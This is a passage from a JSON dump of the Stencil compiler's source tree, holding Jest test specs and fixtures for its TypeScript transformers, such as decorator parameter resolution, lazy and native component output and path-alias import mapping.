= ts.factory.createVariableDeclaration(\n          myEventIdentifier,\n          undefined,\n          undefined,\n          ts.factory.createStringLiteral('myEvent'),\n        );\n\n        const symbolMock = {\n          valueDeclaration: variableDeclaration,\n        };\n\n        const typeCheckerMock = {\n          getSymbolAtLocation: jest.fn(() => symbolMock),\n          getTypeAtLocation: jest.fn(() => ({\n            value: 'myEvent',\n            isLiteral: () => true,\n          })),\n        } as unknown as ts.TypeChecker;\n\n        const decorator: ts.Decorator = {\n          expression: ts.factory.createCallExpression(ts.factory.createIdentifier('Listen'), undefined, [\n            ts.factory.createCallExpression(ts.factory.createIdentifier('resolveVar'), undefined, [myEventIdentifier]),\n          ]),\n        } as unknown as ts.Decorator;\n\n        const result = getDecoratorParameters(decorator, typeCheckerMock);\n\n        expect(result).toEqual(['myEvent']);\n      });\n\n      it('should resolve const variable with as const assertion', () => {\n        const myEventIdentifier = ts.factory.createIdentifier('MY_EVENT');\n        const variableDeclaration = ts.factory.createVariableDeclaration(\n          myEventIdentifier,\n          undefined,\n          undefined,\n          ts.factory.createStringLiteral('myEvent'),\n        );\n\n        const symbolMock = {\n          valueDeclaration: variableDeclaration,\n        };\n\n        const typeCheckerMock = {\n          getSymbolAtLocation: jest.fn(() => symbolMock),\n          getTypeAtLocation: jest.fn(() => ({\n            value: 'myEvent',\n            isLiteral: () => true,\n          })),\n        } as unknown as ts.TypeChecker;\n\n        const decorator: ts.Decorator = {\n          expression: ts.factory.createCallExpression(ts.factory.createIdentifier('Listen'), undefined, [\n            ts.factory.createCallExpression(ts.factory.createIdentifier('resolveVar'), undefined, [myEventIdentifier]),\n          ]),\n        } as unknown as ts.Decorator;\n\n        const result = getDecoratorParameters(decorator, typeCheckerMock);\n\n        expect(result).toEqual(['myEvent']);\n      });\n\n      it('should resolve object property', () => {\n        const eventsIdentifier = ts.factory.createIdentifier('EVENTS');\n        const myEventProperty = ts.factory.createPropertyAccessExpression(eventsIdentifier, 'MY_EVENT');\n\n        const propertySymbolMock = {\n          valueDeclaration: ts.factory.createPropertyDeclaration(\n            [ts.factory.createModifier(ts.SyntaxKind.PublicKeyword)],\n            'MY_EVENT',\n            undefined,\n            undefined,\n            ts.factory.createStringLiteral('myEvent'),\n          ),\n        };\n\n        const objectTypeMock = {\n          // Mock object type\n        };\n\n        const propertyTypeMock = {\n          value: 'myEvent',\n          isLiteral: () => true,\n        };\n\n        const typeCheckerMock = {\n          getTypeAtLocation: jest.fn((node) => {\n            if (node === eventsIdentifier) {\n              return objectTypeMock;\n            }\n            return propertyTypeMock;\n          }),\n          getPropertyOfType: jest.fn(() => propertySymbolMock),\n          getTypeOfSymbolAtLocation: jest.fn(() => propertyTypeMock),\n        } as unknown as ts.TypeChecker;\n\n        const decorator: ts.Decorator = {\n          expression: ts.factory.createCallExpression(ts.factory.createIdentifier('Listen'), undefined, [\n            ts.factory.createCallExpression(ts.factory.createIdentifier('resolveVar'), undefined, [myEventProperty]),\n          ]),\n        } as unknown as ts.Decorator;\n\n        const result = getDecoratorParameters(decorator, typeCheckerMock);\n\n        expect(result).toEqual(['myEvent']);\n      });\n\n      it('should throw error for non-resolvable variable', () => {\n        const myEventIdentifier = ts.factory.createIdentifier('MY_EVENT');\n\n        const typeCheckerMock = {\n          getSymbolAtLocation: jest.fn((): ts.Symbol | undefined => undefined),\n        } as unknown as ts.TypeChecker;\n\n        const decorator: ts.Decorator = {\n          expression: ts.factory.createCallExpression(ts.factory.createIdentifier('Listen'), undefined, [\n            ts.factory.createCallExpression(ts.factory.createIdentifier('resolveVar'), undefined, [myEventIdentifier]),\n          ]),\n        } as unknown as ts.Decorator;\n\n        const diagnostics: any[] = [];\n\n        expect(() => {\n          getDecoratorParameters(decorator, typeCheckerMock, diagnostics);\n        }).toThrow();\n\n        expect(diagnostics.length).toBeGreaterThan(0);\n        expect(diagnostics[0].level).toBe('error');\n      });\n\n      it('should throw error for non-existent object property', () => {\n        const eventsIdentifier = ts.factory.createIdentifier('EVENTS');\n        const myEventProperty = ts.factory.createPropertyAccessExpression(eventsIdentifier, 'MY_EVENT');\n\n        const objectTypeMock = {};\n\n        const typeCheckerMock = {\n          getTypeAtLocation: jest.fn(() => objectTypeMock),\n          getPropertyOfType: jest.fn((): ts.Symbol | undefined => undefined),\n        } as unknown as ts.TypeChecker;\n\n        const decorator: ts.Decorator = {\n          expression: ts.factory.createCallExpression(ts.factory.createIdentifier('Listen'), undefined, [\n            ts.factory.createCallExpression(ts.factory.createIdentifier('resolveVar'), undefined, [myEventProperty]),\n          ]),\n        } as unknown as ts.Decorator;\n\n        const diagnostics: any[] = [];\n\n        expect(() => {\n          getDecoratorParameters(decorator, typeCheckerMock, diagnostics);\n        }).toThrow();\n\n        expect(diagnostics.length).toBeGreaterThan(0);\n        expect(diagnostics[0].level).toBe('error');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/detect-modern-prop-decls.spec.ts",
    "content": "import { mockCompilerCtx } from '@stencil/core/testing';\nimport { ScriptTarget } from 'typescript';\n\nimport { transpileModule } from './transpile';\n\ndescribe('ts config', () => {\n  it('detects modern class property declarations', async () => {\n    const compilerCtx = mockCompilerCtx();\n\n    const cmps = [\n      {\n        code: `@Component({ tag: 'cmp-a' })\n          export class CmpA { @Prop() aProp = 'prop'; }`,\n        expected: true,\n      },\n      {\n        code: `@Component({ tag: 'cmp-a' })\n          export class CmpA { @State() aState = 'prop'; }`,\n        expected: true,\n      },\n      {\n        code: `@Component({ tag: 'cmp-a' })\n          export class CmpA { \n            @Prop() get() { return 'prop'; }; \n          }`,\n        expected: false,\n      },\n      {\n        code: `const anotherProp = 'dynamic-string'\n          @Component({ tag: 'cmp-a' })\n          export class CmpA { @Prop() [anotherProp] = 'prop 2'; }`,\n        expected: true,\n      },\n      {\n        code: `const anotherProp = 'dynamic-string'\n          @Component({ tag: 'cmp-a' })\n          export class CmpA { @State() [anotherProp] = 'prop 2'; }`,\n        expected: true,\n      },\n      {\n        code: `@Component({ tag: 'cmp-a' })\n        export class CmpA { #aPrivateField = 'private'; }`,\n        expected: false,\n      },\n    ];\n\n    cmps.forEach((cmpTest) => {\n      const transpileResult = transpileModule(cmpTest.code, null, compilerCtx, [], [], [], {\n        target: ScriptTarget.ES2022,\n      });\n      expect(transpileResult.cmp.hasModernPropertyDecls).toBe(cmpTest.expected);\n    });\n\n    cmps.forEach((cmpTest) => {\n      const transpileResult = transpileModule(cmpTest.code, null, compilerCtx, [], [], [], {\n        target: ScriptTarget.ES2017,\n      });\n      expect(transpileResult.cmp.hasModernPropertyDecls).toBe(false);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/fixtures/dessert.ts",
    "content": "export interface IceCream {\n  delicious: true;\n  flavor: string;\n}\n\nexport interface Cake {\n  not: 'pie';\n}\n\nexport interface Pie {\n  type: 'pumpkin' | 'apple' | 'pecan';\n}\n\nexport interface Cookie {\n  goodWith: 'cake';\n}\n\nexport interface Candy {\n  sweet: 'very yes';\n}\n"
  },
  {
    "path": "src/compiler/transformers/test/fixtures/meal-entry.ts",
    "content": "// =================\n// RE-EXPORT TESTING\n// =================\n//\n// This section includes types designed to test that the type library\n// functionality correctly 'follows' exports back to their home module\n// (in this case `./dessert`)\n\n// re-export w/ alias and `export type`, should be under original name in\n// `docs.json`\nexport type { IceCream as Glace } from './dessert';\n// re-export w/ alias, should be under original name in `docs.json`\nexport { Cake as Gateau } from './dessert';\n// re-export w/ `export type`\nexport type { Pie } from './dessert';\n// re-export\nexport { Cookie } from './dessert';\n// 'export *' to catch one interface that isn't re-exported by name\nexport * from './dessert';\n\n// ==============\n// EXPORTED TYPES\n// ==============\n//\n// This section includes types for testing that types declared in and\n// exported from this file are correctly included.\n\n/**\n * This has some documentation!\n */\nexport enum BestEnum {\n  Best,\n  Worst,\n  JustAlright,\n}\n\nexport type StringUnion = 'left' | 'right';\n\nexport type JustAnAlias = string;\n\n/**\n * This is a private type, and should not be included!\n *\n * @private\n */\nexport type PrivateType = {\n  not: 'public';\n};\n"
  },
  {
    "path": "src/compiler/transformers/test/functional-component-deps.spec.ts",
    "content": "import { mockModule } from '@stencil/core/testing';\n\nimport type * as d from '../../../declarations';\nimport { getBuildFeatures, updateComponentBuildConditionals } from '../../app-core/app-data';\nimport { stubComponentCompilerMeta } from '../../types/tests/ComponentCompilerMeta.stub';\nimport { transpileModule } from './transpile';\n\ndescribe('functional component dependencies', () => {\n  describe('parseCallExpression with functional components', () => {\n    it('should detect svg tag in direct JSX usage', () => {\n      const t = transpileModule(`\n        @Component({tag: 'cmp-a'})\n        export class CmpA {\n          render() {\n            return <svg viewBox=\"0 0 24 24\"><path d=\"M0 0\"/></svg>\n          }\n        }\n      `);\n\n      expect(t.cmp.htmlTagNames).toContain('svg');\n      expect(t.cmp.htmlTagNames).toContain('path');\n    });\n\n    it('should set hasVdomFunctional when using a functional component', () => {\n      const t = transpileModule(`\n        const SvgIcon = () => <svg viewBox=\"0 0 24 24\"/>;\n\n        @Component({tag: 'cmp-a'})\n        export class CmpA {\n          render() {\n            return <SvgIcon/>\n          }\n        }\n      `);\n\n      expect(t.cmp.hasVdomFunctional).toBe(true);\n    });\n\n    it('should detect svg in same-file functional component', () => {\n      // When a functional component is in the same file, the svg tag should be detected\n      // because parseCallExpression is called for all h() calls in the module\n      const t = transpileModule(`\n        const SvgIcon = () => <svg viewBox=\"0 0 24 24\"/>;\n\n        @Component({tag: 'cmp-a'})\n        export class CmpA {\n          render() {\n            return <SvgIcon/>\n          }\n        }\n      `);\n\n      // The module should have svg in its htmlTagNames because the functional component\n      // is defined in the same file\n      expect(t.moduleFile.htmlTagNames).toContain('svg');\n    });\n\n    it('should track functionalComponentDeps on the module', () => {\n      const t = transpileModule(`\n        const MyIcon = () => <div/>;\n\n        @Component({tag: 'cmp-a'})\n        export class CmpA {\n          render() {\n            return <MyIcon/>\n          }\n        }\n      `);\n\n      // functionalComponentDeps should be initialized as an array\n      expect(Array.isArray(t.moduleFile.functionalComponentDeps)).toBe(true);\n    });\n  });\n\n  describe('updateComponentBuildConditionals with functionalComponentDeps', () => {\n    it('should merge htmlTagNames from functionalComponentDeps', () => {\n      // Create a mock module map with two modules:\n      // 1. A functional component module that has 'svg' in its htmlTagNames\n      // 2. A component module that references the functional component\n      const moduleMap: d.ModuleMap = new Map();\n\n      // Module for the functional component (e.g., icons/help.tsx)\n      const iconModule = mockModule({\n        sourceFilePath: '/src/icons/help.tsx',\n        htmlTagNames: ['svg', 'path'],\n        localImports: [],\n        functionalComponentDeps: [],\n      });\n      moduleMap.set('/src/icons/help.tsx', iconModule);\n\n      // Module for the component that uses the icon\n      const componentModule = mockModule({\n        sourceFilePath: '/src/components/my-icon.tsx',\n        htmlTagNames: ['div'],\n        localImports: [],\n        // This simulates typeChecker resolving the functional component import\n        functionalComponentDeps: ['/src/icons/help.tsx'],\n      });\n      moduleMap.set('/src/components/my-icon.tsx', componentModule);\n\n      // Create a component that references the functional component\n      const cmp = stubComponentCompilerMeta({\n        tagName: 'my-icon',\n        sourceFilePath: '/src/components/my-icon.tsx',\n        htmlTagNames: ['div'],\n      });\n\n      // Run updateComponentBuildConditionals\n      updateComponentBuildConditionals(moduleMap, [cmp]);\n\n      // The component should now have svg and path in its htmlTagNames\n      expect(cmp.htmlTagNames).toContain('svg');\n      expect(cmp.htmlTagNames).toContain('path');\n      expect(cmp.htmlTagNames).toContain('div');\n    });\n\n    it('should follow nested functionalComponentDeps', () => {\n      const moduleMap: d.ModuleMap = new Map();\n\n      // Deep nested icon module\n      const deepIconModule = mockModule({\n        sourceFilePath: '/src/icons/svg/help.tsx',\n        htmlTagNames: ['svg'],\n        localImports: [],\n        functionalComponentDeps: [],\n      });\n      moduleMap.set('/src/icons/svg/help.tsx', deepIconModule);\n\n      // Barrel file that re-exports\n      const barrelModule = mockModule({\n        sourceFilePath: '/src/icons/index.tsx',\n        htmlTagNames: [],\n        localImports: ['/src/icons/svg/help.tsx'],\n        functionalComponentDeps: [],\n      });\n      moduleMap.set('/src/icons/index.tsx', barrelModule);\n\n      // Component module\n      const componentModule = mockModule({\n        sourceFilePath: '/src/components/my-icon.tsx',\n        htmlTagNames: [],\n        localImports: ['/src/icons/index.tsx'],\n        functionalComponentDeps: [],\n      });\n      moduleMap.set('/src/components/my-icon.tsx', componentModule);\n\n      const cmp = stubComponentCompilerMeta({\n        tagName: 'my-icon',\n        sourceFilePath: '/src/components/my-icon.tsx',\n        htmlTagNames: [],\n      });\n\n      updateComponentBuildConditionals(moduleMap, [cmp]);\n\n      // Should propagate through localImports chain\n      expect(cmp.htmlTagNames).toContain('svg');\n    });\n\n    it('should follow functionalComponentDeps even without localImports', () => {\n      // This tests the case where typeChecker resolves a functional component\n      // that wasn't tracked in localImports (e.g., dynamic property access)\n      const moduleMap: d.ModuleMap = new Map();\n\n      // Icon module (not in localImports, only in functionalComponentDeps)\n      const iconModule = mockModule({\n        sourceFilePath: '/src/icons/help.tsx',\n        htmlTagNames: ['svg'],\n        localImports: [],\n        functionalComponentDeps: [],\n      });\n      moduleMap.set('/src/icons/help.tsx', iconModule);\n\n      // Component module that uses the icon via dynamic access\n      // localImports might not include the icon file, but functionalComponentDeps does\n      const componentModule = mockModule({\n        sourceFilePath: '/src/components/my-icon.tsx',\n        htmlTagNames: [],\n        localImports: [], // Empty - simulates case where barrel file doesn't re-export statically\n        functionalComponentDeps: ['/src/icons/help.tsx'], // But typeChecker found it\n      });\n      moduleMap.set('/src/components/my-icon.tsx', componentModule);\n\n      const cmp = stubComponentCompilerMeta({\n        tagName: 'my-icon',\n        sourceFilePath: '/src/components/my-icon.tsx',\n        htmlTagNames: [],\n      });\n\n      updateComponentBuildConditionals(moduleMap, [cmp]);\n\n      // Should still get svg because functionalComponentDeps is followed\n      expect(cmp.htmlTagNames).toContain('svg');\n    });\n\n    it('should merge all vdom build conditionals from functionalComponentDeps', () => {\n      // Verify that ALL build conditionals are propagated, not just htmlTagNames\n      const moduleMap: d.ModuleMap = new Map();\n\n      // Functional component module with various vdom features\n      const iconModule = mockModule({\n        sourceFilePath: '/src/icons/fancy-icon.tsx',\n        htmlTagNames: ['svg', 'path'],\n        htmlAttrNames: ['viewBox', 'xmlns', 'd'],\n        potentialCmpRefs: [],\n        hasVdomAttribute: true,\n        hasVdomClass: true,\n        hasVdomStyle: true,\n        hasVdomKey: true,\n        hasVdomRef: true,\n        hasVdomListener: true,\n        localImports: [],\n        functionalComponentDeps: [],\n      });\n      moduleMap.set('/src/icons/fancy-icon.tsx', iconModule);\n\n      // Component module\n      const componentModule = mockModule({\n        sourceFilePath: '/src/components/my-icon.tsx',\n        htmlTagNames: [],\n        htmlAttrNames: [],\n        hasVdomAttribute: false,\n        hasVdomClass: false,\n        hasVdomStyle: false,\n        hasVdomKey: false,\n        hasVdomRef: false,\n        hasVdomListener: false,\n        localImports: [],\n        functionalComponentDeps: ['/src/icons/fancy-icon.tsx'],\n      });\n      moduleMap.set('/src/components/my-icon.tsx', componentModule);\n\n      const cmp = stubComponentCompilerMeta({\n        tagName: 'my-icon',\n        sourceFilePath: '/src/components/my-icon.tsx',\n        htmlTagNames: [],\n        htmlAttrNames: [],\n        hasVdomAttribute: false,\n        hasVdomClass: false,\n        hasVdomStyle: false,\n        hasVdomKey: false,\n        hasVdomRef: false,\n        hasVdomListener: false,\n      });\n\n      updateComponentBuildConditionals(moduleMap, [cmp]);\n\n      // All vdom conditionals should be propagated\n      expect(cmp.hasVdomAttribute).toBe(true);\n      expect(cmp.hasVdomClass).toBe(true);\n      expect(cmp.hasVdomStyle).toBe(true);\n      expect(cmp.hasVdomKey).toBe(true);\n      expect(cmp.hasVdomRef).toBe(true);\n      expect(cmp.hasVdomListener).toBe(true);\n\n      // htmlTagNames and htmlAttrNames should be merged\n      expect(cmp.htmlTagNames).toContain('svg');\n      expect(cmp.htmlTagNames).toContain('path');\n      expect(cmp.htmlAttrNames).toContain('viewBox');\n      expect(cmp.htmlAttrNames).toContain('xmlns');\n      expect(cmp.htmlAttrNames).toContain('d');\n    });\n  });\n\n  describe('getBuildFeatures with functional component svg', () => {\n    it('should set svg build flag when svg is in htmlTagNames from functional component deps', () => {\n      const cmp = stubComponentCompilerMeta({\n        tagName: 'my-icon',\n        htmlTagNames: ['svg', 'div'],\n      });\n\n      const buildFeatures = getBuildFeatures([cmp]);\n\n      expect(buildFeatures.svg).toBe(true);\n    });\n\n    it('should not set svg build flag when no svg in htmlTagNames', () => {\n      const cmp = stubComponentCompilerMeta({\n        tagName: 'my-button',\n        htmlTagNames: ['div', 'button'],\n      });\n\n      const buildFeatures = getBuildFeatures([cmp]);\n\n      expect(buildFeatures.svg).toBe(false);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/lazy-component.spec.ts",
    "content": "import { mockBuildCtx } from '@stencil/core/testing';\n\nimport type * as d from '../../../declarations';\nimport { lazyComponentTransform } from '../component-lazy/transform-lazy-component';\nimport { transpileModule } from './transpile';\nimport { c, formatCode } from './utils';\n\ndescribe('lazy-component', () => {\n  it('add registerInstance() to constructor w/ decorator on class', () => {\n    const buildCtx = mockBuildCtx();\n    const compilerCtx = buildCtx.compilerCtx;\n    const transformOpts: d.TransformOptions = {\n      coreImportPath: '@stencil/core',\n      componentExport: 'lazy',\n      componentMetadata: null,\n      currentDirectory: '/',\n      proxy: null,\n      style: 'static',\n      styleImportData: null,\n    };\n\n    const code = `\n      @Component({\n        tag: 'cmp-a'\n      })\n      export class CmpA {\n        @format something = '12';\n      }\n    `;\n\n    const transformer = lazyComponentTransform(compilerCtx, transformOpts, buildCtx);\n\n    const t = transpileModule(code, null, compilerCtx, [], [transformer], []);\n\n    expect(t.outputText).toContain(`import { registerInstance as __stencil_registerInstance } from \"@stencil/core\"`);\n    expect(t.outputText).toContain(`__stencil_registerInstance(this, hostRef)`);\n  });\n\n  it('adds a getter for an @Element() reference', () => {\n    const buildCtx = mockBuildCtx();\n    const compilerCtx = buildCtx.compilerCtx;\n    const transformOpts: d.TransformOptions = {\n      coreImportPath: '@stencil/core',\n      componentExport: 'lazy',\n      componentMetadata: null,\n      currentDirectory: '/',\n      proxy: null,\n      style: 'static',\n      styleImportData: null,\n    };\n\n    const code = `\n      @Component({\n        tag: 'cmp-a'\n      })\n      export class CmpA {\n        @Element() el: HtmlElement;\n      }\n    `;\n\n    const transformer = lazyComponentTransform(compilerCtx, transformOpts, buildCtx);\n\n    const t = transpileModule(code, null, compilerCtx, [], [transformer]);\n\n    expect(t.outputText).toContain(`get el() { return __stencil_getElement(this); } };`);\n    expect(t.outputText).not.toContain(`el;`);\n  });\n\n  it('adds an `attachInternals` call with a `@AttachInternals` decoration', async () => {\n    const buildCtx = mockBuildCtx();\n    const compilerCtx = buildCtx.compilerCtx;\n    const transformOpts: d.TransformOptions = {\n      coreImportPath: '@stencil/core',\n      componentExport: 'lazy',\n      componentMetadata: null,\n      currentDirectory: '/',\n      proxy: null,\n      style: 'static',\n      styleImportData: null,\n    };\n\n    const code = `\n      @Component({\n        tag: 'cmp-a',\n        formAssociated: true\n      })\n      export class CmpA {\n        @AttachInternals() internals: ElementInternals;\n      }\n    `;\n\n    const transformer = lazyComponentTransform(compilerCtx, transformOpts, buildCtx);\n    const t = transpileModule(code, null, compilerCtx, [], [transformer]);\n\n    expect(await formatCode(t.outputText)).toBe(\n      await c`import { registerInstance as __stencil_registerInstance } from \"@stencil/core\";\n      export const CmpA = class {\n        constructor (hostRef) {\n          __stencil_registerInstance(this, hostRef);\n          if (hostRef.$hostElement$[\"s-ei\"]) {\n            this.internals = hostRef.$hostElement$[\"s-ei\"];\n          } else {\n            this.internals = hostRef.$hostElement$.attachInternals();\n            hostRef.$hostElement$[\"s-ei\"] = this.internals;\n          }\n        }\n        static get formAssociated() {\n          return true;\n        }\n      }`,\n    );\n  });\n\n  describe('styling', () => {\n    function verifyStylingUsingComponent(inputComponent: string, expectedOutput: string) {\n      return async () => {\n        const buildCtx = mockBuildCtx();\n        const compilerCtx = buildCtx.compilerCtx;\n        const transformOpts: d.TransformOptions = {\n          coreImportPath: '@stencil/core',\n          componentExport: 'lazy',\n          componentMetadata: null,\n          currentDirectory: '/',\n          proxy: null,\n          style: 'static',\n          styleImportData: null,\n        };\n\n        const transformer = lazyComponentTransform(compilerCtx, transformOpts, buildCtx);\n        const t = transpileModule(inputComponent, null, compilerCtx, [], [transformer]);\n        expect(await formatCode(t.outputText)).toBe(await formatCode(expectedOutput));\n      };\n    }\n\n    // eslint-disable-next-line jest/expect-expect\n    it(\n      'using `styleUrl` parameter',\n      verifyStylingUsingComponent(\n        `\n        @Component({\n          tag: 'cmp-a',\n          styleUrl: 'cmp-a.css'\n        })\n        export class CmpA {}\n      `,\n        `\n        import { registerInstance as __stencil_registerInstance } from \"@stencil/core\";\n        import CmpAStyle0 from './cmp-a.css';\n        export const CmpA = class {\n          constructor (hostRef) {\n            __stencil_registerInstance(this, hostRef);\n          }\n        };\n        CmpA.style = CmpAStyle0();\n      `,\n      ),\n    );\n\n    // eslint-disable-next-line jest/expect-expect\n    it(\n      'using `styleUrls` parameter as object',\n      verifyStylingUsingComponent(\n        `\n        @Component({\n          tag: 'cmp-a',\n          styleUrls: {\n            foo: 'cmp-a.foo.css',\n            bar: 'cmp-a.bar.css',\n          }\n        })\n        export class CmpA {}\n      `,\n        `\n        import { registerInstance as __stencil_registerInstance } from \"@stencil/core\";\n        import CmpABarStyle0 from './cmp-a.bar.css';\n        import CmpAFooStyle0 from './cmp-a.foo.css';\n        export const CmpA = class {\n          constructor (hostRef) {\n            __stencil_registerInstance(this, hostRef);\n          }\n        };\n        CmpA.style = { bar: CmpABarStyle0(), foo: CmpAFooStyle0() };\n      `,\n      ),\n    );\n\n    // eslint-disable-next-line jest/expect-expect\n    it(\n      'using `styleUrls` parameter as array',\n      verifyStylingUsingComponent(\n        `\n        @Component({\n          tag: 'cmp-a',\n          styleUrls: ['cmp-a.foo.css', 'cmp-a.bar.css', 'cmp-a.foo.css'],\n        })\n        export class CmpA {}\n      `,\n        `\n        import { registerInstance as __stencil_registerInstance } from \"@stencil/core\";\n        import CmpAStyle0 from './cmp-a.bar.css';\n        import CmpAStyle1 from './cmp-a.foo.css';\n        export const CmpA = class {\n          constructor (hostRef) {\n            __stencil_registerInstance(this, hostRef);\n          }\n        };\n        CmpA.style = CmpAStyle0() + CmpAStyle1();\n      `,\n      ),\n    );\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/map-imports-to-path-aliases.spec.ts",
    "content": "import type { OutputTargetDistCollection } from '@stencil/core/declarations';\nimport { mockValidatedConfig } from '@stencil/core/testing';\nimport ts, { Extension } from 'typescript';\n\nimport { ValidatedConfig } from '../../../internal';\nimport { mapImportsToPathAliases } from '../map-imports-to-path-aliases';\nimport { transpileModule } from './transpile';\n\ndescribe('mapImportsToPathAliases', () => {\n  let module: ReturnType<typeof transpileModule>;\n  let config: ValidatedConfig;\n  let resolveModuleNameSpy: jest.SpyInstance<\n    ReturnType<typeof ts.resolveModuleName>,\n    Parameters<typeof ts.resolveModuleName>\n  >;\n  let outputTarget: OutputTargetDistCollection;\n\n  beforeEach(() => {\n    config = mockValidatedConfig({ tsCompilerOptions: {} });\n\n    resolveModuleNameSpy = jest.spyOn(ts, 'resolveModuleName');\n\n    outputTarget = {\n      type: 'dist-collection',\n      dir: 'dist',\n      collectionDir: 'dist/collection',\n      transformAliasedImportPaths: true,\n    };\n  });\n\n  afterEach(() => {\n    resolveModuleNameSpy.mockReset();\n  });\n\n  it('does nothing if the config flag is `false`', () => {\n    outputTarget.transformAliasedImportPaths = false;\n    resolveModuleNameSpy.mockReturnValue({\n      resolvedModule: {\n        isExternalLibraryImport: false,\n        extension: Extension.Ts,\n        resolvedFileName: 'utils.js',\n      },\n    });\n    const inputText = `\n        import { utils } from \"@utils/utils\";\n\n        utils.test();\n    `;\n\n    module = transpileModule(inputText, config, null, [], [mapImportsToPathAliases(config, '', outputTarget)]);\n\n    expect(module.outputText).toContain('import { utils } from \"@utils/utils\";');\n  });\n\n  it('ignores relative imports', () => {\n    resolveModuleNameSpy.mockReturnValue({\n      resolvedModule: {\n        isExternalLibraryImport: false,\n        extension: Extension.Ts,\n        resolvedFileName: 'utils.js',\n      },\n    });\n    const inputText = `\n        import * as dateUtils from \"../utils\";\n\n        dateUtils.test();\n    `;\n\n    module = transpileModule(inputText, config, null, [], [mapImportsToPathAliases(config, '', outputTarget)]);\n\n    expect(module.outputText).toContain('import * as dateUtils from \"../utils\";');\n  });\n\n  it('ignores external imports', () => {\n    resolveModuleNameSpy.mockReturnValue({\n      resolvedModule: {\n        isExternalLibraryImport: true,\n        extension: Extension.Ts,\n        resolvedFileName: 'utils.js',\n      },\n    });\n    const inputText = `\n        import { utils } from \"@stencil/core\";\n\n        utils.test();\n    `;\n\n    module = transpileModule(inputText, config, null, [], [mapImportsToPathAliases(config, '', outputTarget)]);\n\n    expect(module.outputText).toContain('import { utils } from \"@stencil/core\";');\n  });\n\n  it('does nothing if there is no resolved module', () => {\n    resolveModuleNameSpy.mockReturnValue({\n      resolvedModule: undefined,\n    });\n    const inputText = `\n        import { utils } from \"@utils\";\n\n        utils.test();\n    `;\n\n    module = transpileModule(inputText, config, null, [], [mapImportsToPathAliases(config, '', outputTarget)]);\n\n    expect(module.outputText).toContain('import { utils } from \"@utils\";');\n  });\n\n  // TODO(STENCIL-223): remove spy to test actual resolution behavior\n  it('replaces the path alias with the generated relative path', () => {\n    resolveModuleNameSpy.mockReturnValue({\n      resolvedModule: {\n        isExternalLibraryImport: false,\n        extension: Extension.Ts,\n        resolvedFileName: 'utils.ts',\n      },\n    });\n    const inputText = `\n        import { utils } from \"@utils\";\n\n        utils.test();\n    `;\n\n    module = transpileModule(inputText, config, null, [], [mapImportsToPathAliases(config, '', outputTarget)]);\n\n    expect(module.outputText).toContain('import { utils } from \"./utils\";');\n  });\n\n  it('is not greedy with extension regex replacement', () => {\n    resolveModuleNameSpy.mockReturnValue({\n      resolvedModule: {\n        isExternalLibraryImport: false,\n        extension: Extension.Ts,\n        resolvedFileName: 'utils/something-ending-with-d.ts',\n      },\n    });\n    const inputText = `\n        import { utils } from \"@utils/something-ending-with-d\";\n\n        utils.test();\n    `;\n\n    module = transpileModule(inputText, config, null, [], [mapImportsToPathAliases(config, '', outputTarget)]);\n\n    expect(module.outputText).toContain('import { utils } from \"./utils/something-ending-with-d\";');\n  });\n\n  // The resolved module is not part of the output directory\n  it('generates the correct relative path when the resolved module is outside the transpiled project', () => {\n    config.srcDir = '/test-dir';\n    resolveModuleNameSpy.mockReturnValue({\n      resolvedModule: {\n        isExternalLibraryImport: false,\n        extension: Extension.Ts,\n        resolvedFileName: '/some-compiled-dir/utils/utils.ts',\n      },\n    });\n    const inputText = `\n        import { utils } from \"@utils\";\n\n        utils.test();\n    `;\n\n    module = transpileModule(\n      inputText,\n      config,\n      null,\n      [],\n      [mapImportsToPathAliases(config, '/dist/collection/test.js', outputTarget)],\n    );\n\n    expect(module.outputText).toContain(`import { utils } from \"../../some-compiled-dir/utils/utils\";`);\n  });\n\n  // Source module and resolved module are in the same output directory\n  it('generates the correct relative path when the resolved module is within the transpiled project', () => {\n    config.srcDir = '/test-dir';\n    resolveModuleNameSpy.mockReturnValue({\n      resolvedModule: {\n        isExternalLibraryImport: false,\n        extension: Extension.Ts,\n        resolvedFileName: '/test-dir/utils/utils.ts',\n      },\n    });\n    const inputText = `\n        import { utils } from \"@utils\";\n\n        utils.test();\n    `;\n\n    module = transpileModule(\n      inputText,\n      config,\n      null,\n      [],\n      [mapImportsToPathAliases(config, 'dist/collection/test.js', outputTarget)],\n    );\n\n    expect(module.outputText).toContain(`import { utils } from \"./utils/utils\";`);\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/native-component.spec.ts",
    "content": "import * as ts from 'typescript';\nimport * as d from '@stencil/core/declarations';\nimport { mockBuildCtx } from '@stencil/core/testing';\n\nimport { nativeComponentTransform } from '../component-native/tranform-to-native-component';\nimport { transpileModule } from './transpile';\nimport { c, formatCode } from './utils';\n\ndescribe('nativeComponentTransform', () => {\n  let compilerCtx: d.CompilerCtx;\n  let buildCtx: d.BuildCtx;\n  let transformOpts: d.TransformOptions;\n\n  beforeEach(() => {\n    buildCtx = mockBuildCtx();\n    compilerCtx = buildCtx.compilerCtx;\n    transformOpts = {\n      coreImportPath: '@stencil/core',\n      componentExport: 'customelement',\n      componentMetadata: null,\n      currentDirectory: '/',\n      proxy: null,\n      style: 'static',\n      styleImportData: undefined,\n    };\n  });\n\n  it('outputs a component extending HTMLElement', async () => {\n    const code = `\n    @Component({\n      tag: 'cmp-a',\n    })\n    export class CmpA {\n    }\n    `;\n\n    const transformer = nativeComponentTransform(compilerCtx, transformOpts, buildCtx);\n    const transpiledModule = transpileModule(code, null, compilerCtx, [], [transformer]);\n\n    expect(await formatCode(transpiledModule.outputText)).toBe(\n      await c`import { HTMLElement } from \"@stencil/core\";\n        const CmpA = class extends HTMLElement {\n          static get is() {\n            return 'cmp-a';\n          }\n        };\n        customElements.define(__stencil_transformTag(\"cmp-a\"), CmpA);`,\n    );\n  });\n\n  it('passes false to super of stencil decorated class calls', async () => {\n    const code = `\n    class PlainClass {\n      @Prop() baz: number;\n    }\n    @Component({\n      tag: 'cmp-b',\n    })\n    export class CmpB extends PlainClass {\n      @Prop() bar: number;\n    }\n    @Component({\n      tag: 'cmp-a',\n    })\n    export class CmpA extends CmpB {\n      @Prop() foo: number;\n    }\n    `;\n\n    const transformer = nativeComponentTransform(compilerCtx, transformOpts, buildCtx);\n    const transpiledModule = transpileModule(code, null, compilerCtx, [], [transformer], [], {\n      target: 